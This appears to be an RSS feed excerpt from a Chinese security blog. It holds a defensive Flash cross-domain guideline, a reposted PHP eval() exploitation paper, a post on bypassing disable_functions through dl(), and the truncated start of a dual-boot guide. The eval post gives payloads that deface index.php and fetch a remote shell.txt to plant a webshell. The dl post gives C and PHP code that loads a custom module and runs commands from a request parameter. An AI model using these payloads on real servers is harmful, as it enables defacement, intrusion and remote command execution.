应用程序安全设计的时候应该秉承最小化原则，在flash的大部分应用中，由于功能需求就经常需要跨域获取数据。域安全是浏览器安全的基本策略，flash作为浏览器的扩展允许跨域获取数据就从根本上打破了浏览器的安全性。flash以flash文件存储域名作为它的当前域，如果需要获取其他服务器上的数据就会发生跨域行为，而且该跨域行为会继承用户浏览器里的认证信息，限制不严格时将导致安全漏洞，打破我们的整个客户端安全模型。flash 在跨域时唯一的限制策略就是crossdomain.xml文件，该文件限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。通过严格控制该策略文件我们就可以为应用程序安全和功能上寻找到一个平衡点。 典型的crossdomain.xml文件策略 &#60;?xml version=&#8221;1.0&#8243;?&#62; &#60;cross-domain-policy&#62; &#60;allow-access-from domain=&#8221;*.80sec.com&#8221; /&#62; &#60;/cross-domain-policy&#62; 其中最主要的策略是allow-access-from表示允许来自哪些域的跨域请求，早期的flash允许从其他位置载入自定义的策略文件，目前最新版的flash在接受自定义的策略文件之前会去检查主目录的crossdomain.xml来判断是否接受自定义策略文件。该选项由 &#60;site-control permitted-cross-domain-policies=&#8221;by-content-type&#8221;/&#62; 节点控制，不加该选项时，默认情况下flash不加载除主策略文件之外的其他策略文件，即只接受根目录里的/crossdomain.xml。这对于防止利用上传文件来定义自己策略文件的攻击非常有效。为了在某些条件下需要启用其他策略文件，我们需要设置permitted-cross-domain- policies，设置为by-content-type时将会只允许http头为text/x-cross-domain-policy的策略文件，当为all时则允许所有的text/xml等格式的策略文件。 应用程序在设计的时候按照最小化原则 1 将文件上传和应用的域名分开，防止通过上传flash文件直接获得域操作的权限。 2 对于不需要使用flash的应用严禁在域名目录下部署flash策略文件。 3 对于有功能需求的应用遵循最小化原则将域名限制到最小的范围，有安全需求的应用应该明确允许跨域请求的域，禁止直接使用*通配符，这将导致跨域访问权限的扩散。 譬如http://sns.80sec.com/crossdomain.xml &#60;?xml version=&#8221;1.0&#8243;?&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Flash应用安全规范<br />
来源:<a href="http://www.80sec.com/flash-security-polic.html">http://www.80sec.com/flash-security-polic.html</a><br />
Author: jianxin [80sec]<br />
EMail: jianxin#80sec.com<br />
Site: http://www.80sec.com<br />
Date: 2009-07-25<br />
From: http://www.80sec.com/release/flash-security.txt</p>
<p>[ 目录 ]</p>
<p>0×00 前言<br />
0×01 安全的服务端flash安全策略<br />
0×02 安全的客户端flash安全规范<br />
0×03 flash安全的checklist</p>
<p>0×00 前言</p>
<p>flash作为一款浏览器的第三方插件，是对浏览器功能的延伸，已经是web必不可少的元素。但是这种延伸必然带来不安全的因素，相比于安全性已经得到磨练的浏览器来说，flash绝对是客户端安全的一个软肋（包括在比较神秘的漏洞挖掘领域，也是这个观点），同样flash在页面展示时所含有的丰富功能，在某些情况下你甚至可以认为它等同于javascript，甚至更为危险。浏览器所贯彻的域安全策略被flash所打破，客户端所做的种种过滤也同样被 flash所打破（只要你还使用flash）。但是flash也已经感觉到了这个问题，并且时时在改进，在设计上也引入了一些比较好的安全机制，恰当的使用这些安全机制可以避免你的应用程序遭到攻击。80sec将从实际的一些经验总结出一些供参考的flash使用规范，规范将从服务端应用程序的安全设计和客户端的flash安全使用两个角度来说明这个问题。<br />
<span id="more-871"></span><br />
0×01 安全的服务端flash安全策略</p>
<p>应用程序安全设计的时候应该秉承最小化原则，在flash的大部分应用中，由于功能需求就经常需要跨域获取数据。域安全是浏览器安全的基本策略，flash作为浏览器的扩展允许跨域获取数据就从根本上打破了浏览器的安全性。flash以flash文件存储域名作为它的当前域，如果需要获取其他服务器上的数据就会发生跨域行为，而且该跨域行为会继承用户浏览器里的认证信息，限制不严格时将导致安全漏洞，打破我们的整个客户端安全模型。flash 在跨域时唯一的限制策略就是crossdomain.xml文件，该文件限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。通过严格控制该策略文件我们就可以为应用程序安全和功能上寻找到一个平衡点。</p>
<p>典型的crossdomain.xml文件策略</p>
<p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain=&#8221;*.80sec.com&#8221; /&gt;<br />
&lt;/cross-domain-policy&gt;</p>
<p>其中最主要的策略是allow-access-from表示允许来自哪些域的跨域请求，早期的flash允许从其他位置载入自定义的策略文件，目前最新版的flash在接受自定义的策略文件之前会去检查主目录的crossdomain.xml来判断是否接受自定义策略文件。该选项由</p>
<p>&lt;site-control permitted-cross-domain-policies=&#8221;by-content-type&#8221;/&gt;</p>
<p>节点控制，不加该选项时，默认情况下flash不加载除主策略文件之外的其他策略文件，即只接受根目录里的/crossdomain.xml。这对于防止利用上传文件来定义自己策略文件的攻击非常有效。为了在某些条件下需要启用其他策略文件，我们需要设置permitted-cross-domain- policies，设置为by-content-type时将会只允许http头为text/x-cross-domain-policy的策略文件，当为all时则允许所有的text/xml等格式的策略文件。</p>
<p>应用程序在设计的时候按照最小化原则</p>
<p>1 将文件上传和应用的域名分开，防止通过上传flash文件直接获得域操作的权限。<br />
2 对于不需要使用flash的应用严禁在域名目录下部署flash策略文件。<br />
3 对于有功能需求的应用遵循最小化原则将域名限制到最小的范围，有安全需求的应用应该明确允许跨域请求的域，禁止直接使用*通配符，这将导致跨域访问权限的扩散。</p>
<p>譬如http://sns.80sec.com/crossdomain.xml</p>
<p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain=&#8221;*.80sec.com&#8221; /&gt;<br />
&lt;/cross-domain-policy&gt;</p>
<p>就对权限设置过泛，可能导致其他安全策略的绕过（如绕过csrf等等）</p>
<p>4 对于有高安全需求的应用，在限制域名的前提下，将需要被flash访问的应用限制到指定目录，并且在flash内指定策略文件到该目录以将所有访问权限限制到单一目录。</p>
<p>如果login.80sec.com中的某个功能如login需要对所有域名开放，如果配置根目录crossdomain.xml</p>
<p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain=&#8221;*&#8221; /&gt;<br />
&lt;/cross-domain-policy&gt;</p>
<p>不是一个好的策略因为他不只会开放login同时会开放如chgpassword等其他的服务给用户，我们需要配置主策略文件</p>
<p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;site-control permitted-cross-domain-policies=&#8221;all&#8221;/&gt;<br />
&lt;/cross-domain-policy&gt;</p>
<p>然后自定义策略文件到一个目录如/flash/crossdomain.xml</p>
<p>&lt;?xml version=&#8221;1.0&#8243;?&gt;<br />
&lt;cross-domain-policy&gt;<br />
&lt;allow-access-from domain=&#8221;*&#8221; /&gt;<br />
&lt;/cross-domain-policy&gt;</p>
<p>并且将login应用部署到/flash/目录，用户的访问将被限制到/flash/下面，无法对其他功能进行操作。</p>
<p>0×02 安全的客户端flash安全规范</p>
<p>控制好flash安全策略并不是安全的全部，这样只能保证服务端的安全。由于一些功能上的原因，譬如为了追求良好的用户体验，为了让无聊的用户可以在页面共享各种flash，为了把页面做得华丽丽的，我们往往需要在页面内容里嵌入flash，这个时候安全性就会被抛到一边（我们还是建议如果不需要的话还是少用这种动态的东西）。我们在一个页面引入一个flash时，一般的做法是下面这种形式：</p>
<p>&lt;object classid=&#8221;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&#8243; codebase=&#8221;http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0&#8243;<br />
name=&#8221;Main&#8221; width=&#8221;1000&#8243; height=&#8221;600&#8243; align=&#8221;middle&#8221; id=&#8221;Main&#8221;&gt;<br />
&lt;embed flashvars=&#8221;site=&amp;sitename=&#8221; src=&#8217;Loading.swf?user=453156346&amp;key=df57546b-c68c-4fd7-9f9c-2d105905f132&amp;v=10950&amp;rand=633927610302991250&#8242; width=&#8221;1000&#8243; height=&#8221;600&#8243;<br />
align=&#8221;middle&#8221; quality=&#8221;high&#8221; name=&#8221;Main&#8221; allowscriptaccess=&#8221;sameDomain&#8221; type=&#8221;application/x-shockwave-flash&#8221;<br />
pluginspage=&#8221;http://www.macromedia.com/go/getflashplayer&#8221; /&gt;<br />
&lt;/object&gt;</p>
<p>由于flash的强大，并且在页面元素里基本等同于script这种危险的标签，对于这点，flash已经有所考虑，在引入flash的时候flash提供了控制属性，其中与安全最为关键的是AllowScriptAccess属性和allowNetworking属性。其中 AllowScriptAccess控制flash与html页面的通讯，可选的值有：</p>
<p>always //对与html的通讯也就是执行javascript不做任何限制<br />
sameDomain //只允许来自于本域的flash与html通讯，这是默认值<br />
never //绝对禁止flash与页面的通讯</p>
<p>默认情况下的选项是sameDomain，这个时候某些场景下看起来也是足够安全了，但是我们还是能看到经常有程序允许将这个选项设置为always，而即使是sameDomain也不是在所有场景下都安全的，考虑如论坛这样的程序，上传和展现都是在同一个域的情况下，就不存在任何安全性可言了，我们强烈建议该选项为never，如果你选择sameDomain或者always我也希望你清楚自己在做什么。</p>
<p>allowNetworking控制flash与外部的网络通讯，可选的值包括：</p>
<p>all //允许使用所有的网络通讯，也是默认值<br />
internal //flash不能与浏览器通讯如navigateToURL，但是可以调用其他的API<br />
none //禁止任何的网络通讯</p>
<p>但是最近更新的flash客户端貌似是只要AllowScriptAccess被设置那么包括navigateToURL都不能使用，在官方文档上也只看到简简单单的一句道歉，但是这样的确从某些程度上提高了嵌入flash的安全性。但是即使不跳转，我们还是能做很多事情，当我们将flash直接嵌入到页面又没有设置allowNetworking时，我们就可以做csrf之类猥琐的事情，更要命的是这种形式的csrf支持POST请求，referer来源为swf文件所在地址或者为空，同时发送所有cookie而不像图片那些只能发送session cookie，而且基本没有任何的痕迹，基本秒杀那些没有做token保护的csrf防范了，之前的开心网犯的就是这个错误，我们强烈建议该选项为 none，如果你不选择这个建议你也要清楚自己在做什么。</p>
<p>0×03 flash安全的checklist</p>
<p>1 检查自己的网站的根目录的crossdomain.xml</p>
<p>好孩子：</p>
<p>http://mail.google.com/crossdomain.xml</p>
<p>http://youa.baidu.com/crossdomain.xml</p>
<p>http://www.adobe.com/crossdomain.xml</p>
<p>坏孩子：</p>
<p>http://www.youku.com/crossdomain.xml</p>
<p>http://www.renren.com/crossdomain.xml</p>
<p>http://www.taobao.com/crossdomain.xml</p>
<p>我承认所有的利用都离不开场景，有的时候如果实在没有办法修改这个crossdomain.xml（这个情况的确存在，譬如某些变态功能的需要），那么就可以考虑在应用程序获取数据时对提交的数据做校验，譬如当请求的头里包括x-flash-version时，就可以判定来源是flash而不予响应，但这的确不是一种优美的解决办法。</p>
<p>2 检查自己网站引入flash的代码</p>
<p>有AllowScriptAccess和allowNetworking么？如果没有，那是不是我这个应用设计已经很安全足够抵御各种攻击了?</p>
<p>如果想针对安全问题做测试，fly_flash是方便的攻击客户端的好伙伴（参见开心网蠕虫），如果想针对第一种错误的策略文件突破csrf等做测试就还得自己写源码了。另外，良好的设计的最大敌人就是坏的实现，原因也是各个程序之间天然的心之壁垒，猜猜</p>
<p>&lt;embed allowscriptaccess=&#8221;always&#8221; allowscriptaccess=&#8221;never&#8221; height=384 width=454 src=http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&amp;x.swf wmode=&#8221;transparent&#8221; loop=&#8221;false&#8221; autostart=&#8221;false&#8221;&gt;</p>
<p>这段代码的结果是什么?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/flash%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e8%a7%84%e8%8c%83/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eval() Vulnerability &amp; Exploitation</title>
		<link>http://www.0x50sec.org/eval-vulnerability-exploitation/</link>
		<comments>http://www.0x50sec.org/eval-vulnerability-exploitation/#comments</comments>
		<pubDate>Tue, 04 May 2010 00:18:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=859</guid>
		<description><![CDATA[http://www.exploit-db.com/papers/12490 ############################################################################## # [+]Title: [Eval() Vulnerability &#38; Exploitation] ############################################################################## # [+] About : ############################################################################## # Written by : GlaDiaT0R # Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com # Team : Tunisian Power Team ( DarkGh0st.Net ) ############################################################################## # [+] Summary: # [1]-Introduction # [2]-Detection # [3]-Vulnerable Source code # [4]-Exploiting.. ############################################################################## [1]-Introduction eval () is a PHP function [...]]]></description>
			<content:encoded><![CDATA[<p>http://www.exploit-db.com/papers/12490</p>
<p>##############################################################################<br />
# [+]Title: [Eval() Vulnerability &amp; Exploitation]<br />
##############################################################################<br />
# [+] About :<br />
##############################################################################<br />
# Written by : GlaDiaT0R<br />
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com<br />
# Team : Tunisian Power Team ( DarkGh0st.Net )<br />
##############################################################################<br />
# [+] Summary:<br />
# [1]-Introduction<br />
# [2]-Detection<br />
# [3]-Vulnerable Source code<br />
# [4]-Exploiting..<br />
##############################################################################</p>
<p>[1]-Introduction</p>
<p>eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,<br />
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.<br />
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.<br />
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.<br />
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.<br />
<span id="more-859"></span><br />
=======================================================</p>
<p>[2]-Detection</p>
<p>PoC 1 :</p>
<p>http://[vuln_site]/evalinject.php?ev=&lt;? phpinfo(); ?&gt;</p>
<p>[ eval() execute the contents of the variable "ev" as PHP code ]</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>PoC 2 :</p>
<p>http://[vuln_site]/evalinject.php?ev=phpinfo();</p>
<p>[ eval() execute the contents of the variable "ev" as PHP code (without tags) ]</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>PoC 3 :</p>
<p>Changing the header or POST variable cited by: phpinfo () [or &lt;? phpinfo ();&gt; php code used . ]<br />
(With the Tamper Data)</p>
<p>[ eval () execute a chain whose variable $ HTTP_USER_AGENT is so just<br />
change your header in PHP code ]</p>
<p>=======================================================</p>
<p>[3]-Vulnerable Source code</p>
<p>PoC 1 :</p>
<p>&lt;?php<br />
$Ev = $_GET['ev'];<br />
$string = ($Ev);<br />
$string = preg_replace_callback(&#8220;/(&lt;\?=)(.*?)\?&gt;/si&#8221;,create_function(&#8216;$string&#8217;,'ob_start();eval(&#8220;$string[2];&#8221;);$return = ob_get_contents();ob_end_clean();return $return;&#8217;),$string);<br />
$string= preg_replace_callback(&#8220;/(&lt;\?php|&lt;\?)(.*?)\?&gt;/si&#8221;,create_function(&#8216;$string&#8217;,'ob_start();eval(&#8220;print $string[2];&#8221;);$return = ob_get_contents();ob_end_clean();return $return;&#8217;),$string);<br />
echo $string;<br />
?&gt;</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>PoC 2 :<br />
&lt;?php<br />
$Ev = $_GET['ev'];<br />
$eva = stripslashes($Ev);<br />
eval($eva);<br />
?&gt;</p>
<p>&#8212;&#8212;&#8212;-</p>
<p>PoC 3 :</p>
<p>&lt;?php<br />
$string = stripslashes($HTTP_USER_AGENT);<br />
$string = preg_replace_callback(&#8220;/(&lt;\?=)(.*?)\?&gt;/si&#8221;,create_function(&#8216;$string&#8217;,'ob_start();eval(&#8220;$string[2];&#8221;);$return = ob_get_contents();ob_end_clean();return $return;&#8217;),$string);<br />
$string= preg_replace_callback(&#8220;/(&lt;\?php|&lt;\?)(.*?)\?&gt;/si&#8221;,create_function(&#8216;$string&#8217;,'ob_start();eval(&#8220;print $string[2];&#8221;);$return = ob_get_contents();ob_end_clean();return $return;&#8217;),$string);<br />
echo $string;<br />
?&gt;</p>
<p>=======================================================</p>
<p>[4]-Exploiting..</p>
<p>&#8212;&#8212;&#8212;-<br />
Write or Create a page containing : Hacked by &#8230;<br />
&lt;?php $z=fopen(&#8220;index.php&#8221;,&#8217;w');fwrite($z,(&#8220;HACKED BY GlaDiaT0R&#8221;));fclose($z); ?&gt;</p>
<p>or</p>
<p>$z=fopen(&#8220;index.php&#8221;,&#8217;w');fwrite($z,(&#8220;HACKED BY GlaDiaT0R&#8221;));fclose($z);<br />
&#8212;&#8212;&#8212;-<br />
To insert a remote page include using an url<br />
&lt;?php include(&#8216;http://[website]/shell.txt&#8217;); ?&gt;</p>
<p>or</p>
<p>include(&#8216;http://[website]/shell.txt&#8217;);<br />
&#8212;&#8212;&#8212;-<br />
Insertion of a distant code in the vulnerable website<br />
&lt;?php $z=fopen(&#8220;shell.php&#8221;,&#8217;w');fwrite($z,file_get_contents(&#8220;http://[website]/shell.txt&#8221;));fclose($z); ?&gt;</p>
<p>or</p>
<p>$z=fopen(&#8220;shell.php&#8221;,&#8217;w');fwrite($z,file_get_contents(&#8220;http://[website]/shell.txt&#8221;));fclose($z);<br />
&#8212;&#8212;&#8212;-</p>
<p>Thank you for your<br />
attention. I hope you understood the process to exploit the eval ()<br />
vulnerability .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/eval-vulnerability-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用dl函数突破disable_functions执行命令(剑心)</title>
		<link>http://www.0x50sec.org/%e5%88%a9%e7%94%a8dl%e5%87%bd%e6%95%b0%e7%aa%81%e7%a0%b4disable_functions%e6%89%a7%e8%a1%8c%e5%91%bd%e4%bb%a4%e5%89%91%e5%bf%83/</link>
		<comments>http://www.0x50sec.org/%e5%88%a9%e7%94%a8dl%e5%87%bd%e6%95%b0%e7%aa%81%e7%a0%b4disable_functions%e6%89%a7%e8%a1%8c%e5%91%bd%e4%bb%a4%e5%89%91%e5%bf%83/#comments</comments>
		<pubDate>Tue, 13 Apr 2010 02:40:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[disable_functions]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[执行命令]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=748</guid>
		<description><![CDATA[利用dl函数突破disable_functions执行命令(剑心) 版权声明：转载时请以超链接形式标明文章原始出处和作者信息及本声明 From:http://qiuren.blogbus.com PHP是一款功能强大应用广泛的脚本语言，很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能，所以大部分的服务器都对PHP做了严格的限制，包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system，exec，passthru，shell_exec，proc_open等等。但是如果服务器没有对dl()函数做限制，一样可以利用dl()函数饶过这些限制。 dl()函数允许在php脚本里动态加载php模块，默认是加载extension_dir目录里的扩展，该选项是PHP_INI_SYSTEM范围可修改的，只能在php.ini或者apache主配置文件里修改。当然，你也可以通过enable_dl选项来关闭动态加载功能，而这个选项默认为On的，事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞，可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件，extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件，并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作，包括系统命令。 PHP_FUNCTION(dl) { pval **file; #ifdef ZTS if ((strncmp(sapi_module.name, &#8220;cgi&#8221;, 3)!=0) &#38;&#38; (strcmp(sapi_module.name, &#8220;cli&#8221;)!=0) &#38;&#38; (strncmp(sapi_module.name, &#8220;embed&#8221;, 5)!=0)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;Not supported in multithreaded Web servers &#8211; use extension statements in your php.ini&#8221;); RETURN_FALSE; } //验证是否可以使用dl函数，在多线程web服务器里是禁止的 #endif /* obtain arguments */ if (ZEND_NUM_ARGS() != 1 &#124;&#124; zend_get_parameters_ex(1, &#38;file) == [...]]]></description>
			<content:encoded><![CDATA[<p>利用dl函数突破disable_functions执行命令(剑心)<br />
版权声明：转载时请以超链接形式标明文章原始出处和作者信息及本声明<br />
From:http://qiuren.blogbus.com</p>
<p>PHP是一款功能强大应用广泛的脚本语言，很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能，所以大部分的服务器都对PHP做了严格的限制，包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system，exec，passthru，shell_exec，proc_open等等。但是如果服务器没有对dl()函数做限制，一样可以利用dl()函数饶过这些限制。<br />
dl()函数允许在php脚本里动态加载php模块，默认是加载extension_dir目录里的扩展，该选项是PHP_INI_SYSTEM范围可修改的，只能在php.ini或者apache主配置文件里修改。当然，你也可以通过enable_dl选项来关闭动态加载功能，而这个选项默认为On的，事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞，可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件，extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件，并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作，包括系统命令。</p>
<p><span id="more-748"></span>PHP_FUNCTION(dl)<br />
{<br />
pval **file;</p>
<p>#ifdef ZTS<br />
if ((strncmp(sapi_module.name, &#8220;cgi&#8221;, 3)!=0) &amp;&amp;<br />
(strcmp(sapi_module.name, &#8220;cli&#8221;)!=0) &amp;&amp;<br />
(strncmp(sapi_module.name, &#8220;embed&#8221;, 5)!=0)) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;Not supported in multithreaded Web servers &#8211; use extension statements in your php.ini&#8221;);<br />
RETURN_FALSE;<br />
} //验证是否可以使用dl函数，在多线程web服务器里是禁止的<br />
#endif</p>
<p>/* obtain arguments */<br />
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &amp;file) == FAILURE) {<br />
WRONG_PARAM_COUNT;<br />
}</p>
<p>convert_to_string_ex(file); //取得参数</p>
<p>if (!PG(enable_dl)) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;Dynamically loaded extentions aren&#8217;t enabled&#8221;);//验证是否enable_dl，默认为on<br />
} else if (PG(safe_mode)) {<br />
php_error_docref(NULL TSRMLS_CC, E_WARNING, &#8220;Dynamically loaded extensions aren&#8217;t allowed when running in Safe Mode&#8221;);//验证是否safe_mode打开<br />
} else {<br />
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载<br />
EG(full_tables_cleanup) = 1;<br />
}</p>
<p>下面是开始处理模块的加载</p>
<p>void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)<br />
{<br />
void *handle;<br />
char *libpath;<br />
zend_module_entry *module_entry, *tmp;<br />
zend_module_entry *(*get_module)(void);<br />
int error_type;<br />
char *extension_dir; //定义一些变量<br />
if (type==MODULE_PERSISTENT) {<br />
/* Use the configuration hash directly, the INI mechanism is not yet initialized */<br />
if (cfg_get_string(&#8220;extension_dir&#8221;, &amp;extension_dir)==FAILURE) {<br />
extension_dir = PHP_EXTENSION_DIR;<br />
}<br />
} else {<br />
extension_dir = PG(extension_dir);<br />
} //取得php.ini里的设置也就是extension_dir的目录</p>
<p>if (type==MODULE_TEMPORARY) {<br />
error_type = E_WARNING;<br />
} else {<br />
error_type = E_CORE_WARNING;<br />
}</p>
<p>if (extension_dir &amp;&amp; extension_dir[0]){<br />
int extension_dir_len = strlen(extension_dir);</p>
<p>libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);</p>
<p>if (IS_SLASH(extension_dir[extension_dir_len-1])) {<br />
sprintf(libpath, &#8220;%s%s&#8221;, extension_dir, Z_STRVAL_P(file)); /* SAFE */<br />
} else {<br />
sprintf(libpath, &#8220;%s%c%s&#8221;, extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */<br />
} //构造最终的so文件的位置，只是简单的附加，并没有对传入的参数做任何检查，包括open_basedir等<br />
} else {<br />
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));<br />
}<br />
/* load dynamic symbol */<br />
handle = DL_LOAD(libpath); //开始真正的调用了</p>
<p>看到了吧，我们可以调用任意的so了哦！下一步就是编写自己的so模块，并且调用他。按照官方提供的模块编写方法，我写了个很简单的，主要的导出函数loveshell如下：</p>
<p>PHP_FUNCTION(loveshell)</p>
<p>{<br />
char *command;<br />
int command_len;</p>
<p>if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,&#8221;s&#8221;, &amp;command, &amp;command_len) == FAILURE) {<br />
WRONG_PARAM_COUNT;<br />
}<br />
system(command);<br />
zend_printf(&#8220;I recieve %s&#8221;,command);<br />
}</p>
<p>注意由于php4和php5的结构不一样，所以如果想要能顺利调用扩展，那么在php4环境下就要将上面的代码放到php4环境下编译，php5的就要在php5环境下编译。我们将编写好的扩展上传到服务器，就可以利用下面的代码执行命令了：</p>
<p>&lt;?php<br />
dl(&#8216;../../../../../../../../../www/users/www.cnbct.org/loveshell.so&#8217;);<br />
$cmd=$_REQUEST[c].&#8221; 2&gt;&amp;1&gt;tmp.txt&#8221;;<br />
loveshell($cmd);<br />
echo &#8220;&lt;br&gt;&#8221;;<br />
echo file_get_contents(&#8216;tmp.txt&#8217;);<br />
?&gt;</p>
<p>所以如果想保证服务器的安全，请将这个函数加到disable_functions里或者将安全模式打开吧，在安全模式下dl函数是无条件禁止的！：）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e5%88%a9%e7%94%a8dl%e5%87%bd%e6%95%b0%e7%aa%81%e7%a0%b4disable_functions%e6%89%a7%e8%a1%8c%e5%91%bd%e4%bb%a4%e5%89%91%e5%bf%83/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows7如何才能和Ubuntu实现共存</title>
		<link>http://www.0x50sec.org/windows7%e5%a6%82%e4%bd%95%e6%89%8d%e8%83%bd%e5%92%8cubuntu%e5%ae%9e%e7%8e%b0%e5%85%b1%e5%ad%98/</link>
		<comments>http://www.0x50sec.org/windows7%e5%a6%82%e4%bd%95%e6%89%8d%e8%83%bd%e5%92%8cubuntu%e5%ae%9e%e7%8e%b0%e5%85%b1%e5%ad%98/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 10:41:56 +0000</pubDate>
		<dc:creator>xion</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Windows7]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=723</guid>
		<description><![CDATA[来源：51cto.com 目前有很多方法进行双系统的安装，有些十分的繁琐。下面我们就看看有关在Windows 7下grub安装Fedora12（或Ubuntu 9.10）的一个聪明的办法，依然grub, 不需要boot.ini grldr.mbr 关于Windows 7与Fedora12（或Ubuntu ）双系统，网上有很多贴子，仔细搜索，都是抄来抄去的。刻盘、U盘，不在本人叙述范围，WUBI安装不在简单，有点难度，本人也不考虑，我们依旧用grub来安装。 怎么用grub来引导Fedora12（或Ubuntu ）呢？ 方法A，一个高手会告诉你，用什么什么命令，一提到命令，我们这些菜鸟真的头大，还是刻盘来的简单（本人可不喜欢刻盘啊！）。 方法B，一个聪明人会告诉你，Windows 7没有boot.ini没关系，我们自己加一个，在填一个grldr.mbr到C盘根目录，boot.ini加一个grldr.mbr=选项……这方法真的很聪明！开机重启后选Ubuntu就可以进入模拟的Ubuntu livecd了，然后，cd /回车， sudo umount -l isodevice回车，就可以用光盘livecd的方法安装了。 这个方法有两个缺陷，1，Windows 7的C 盘填加好boot.ini grldr grldr.mbr menu.lst后重启，只能选Fedora12（或Ubuntu ）选项，进入模拟的Fedora12（或Ubuntu ）的 livecd ，选Windows 7选项，不能进入Windows 7（本人是这样，不知其他人如何？） 2，安装好Ubuntu后，要重新加入Windows 7启动项。 参考一下Windows 7和Windows XP的开机过程。 怎么能解决方法 B 的缺陷呢？这是一个聪明的做法，但能不能有更好一点的方法呢？ 本人终于想出了第三种方法，偷梁换柱法。并实验成功。即然win7开机默认bootmgr，那么我们何不把grldr改名为bootmgr ，让win7找到这个假的bootmgr ，这个假的bootmgr是直接找menu.lst的，那样不就可以通过编写menu.lst模拟引导Linux的 livecd了吗？ 是的，可以。 可是，Windows 7怎么开机？Windows 7是要通过bootmgr开机的？ 别急，听我细细道来，我们把win7的C盘原有的bootmgr改个名字如改成：bootmg8，这个改了名字的bootmgr依旧是默认找寻 Windows 7的，就象改了名的grldr 依旧是默认menu.lst一样。然后，我们在menu.lst内加上一段bootmg8启动项，就可以从bootmg8启动Windows 7，写到这，不知大家明白了吗？附上一个win7开机图，大家参考： Windows 7下grub引导Fedora [...]]]></description>
			<content:encoded><![CDATA[<p>来源：51cto.com</p>
<p>目前有很多方法进行双系统的安装，有些十分的繁琐。下面我们就看看有关在Windows 7下grub安装Fedora12（或Ubuntu 9.10）的一个聪明的办法，依然grub, 不需要boot.ini grldr.mbr</p>
<p>关于Windows 7与Fedora12（或Ubuntu ）双系统，网上有很多贴子，仔细搜索，都是抄来抄去的。刻盘、U盘，不在本人叙述范围，WUBI安装不在简单，有点难度，本人也不考虑，我们依旧用grub来安装。</p>
<p><strong>怎么用grub来引导Fedora12（或Ubuntu ）呢？</strong></p>
<p>方法A，一个高手会告诉你，用什么什么命令，一提到命令，我们这些菜鸟真的头大，还是刻盘来的简单（本人可不喜欢刻盘啊！）。<span id="more-723"></span></p>
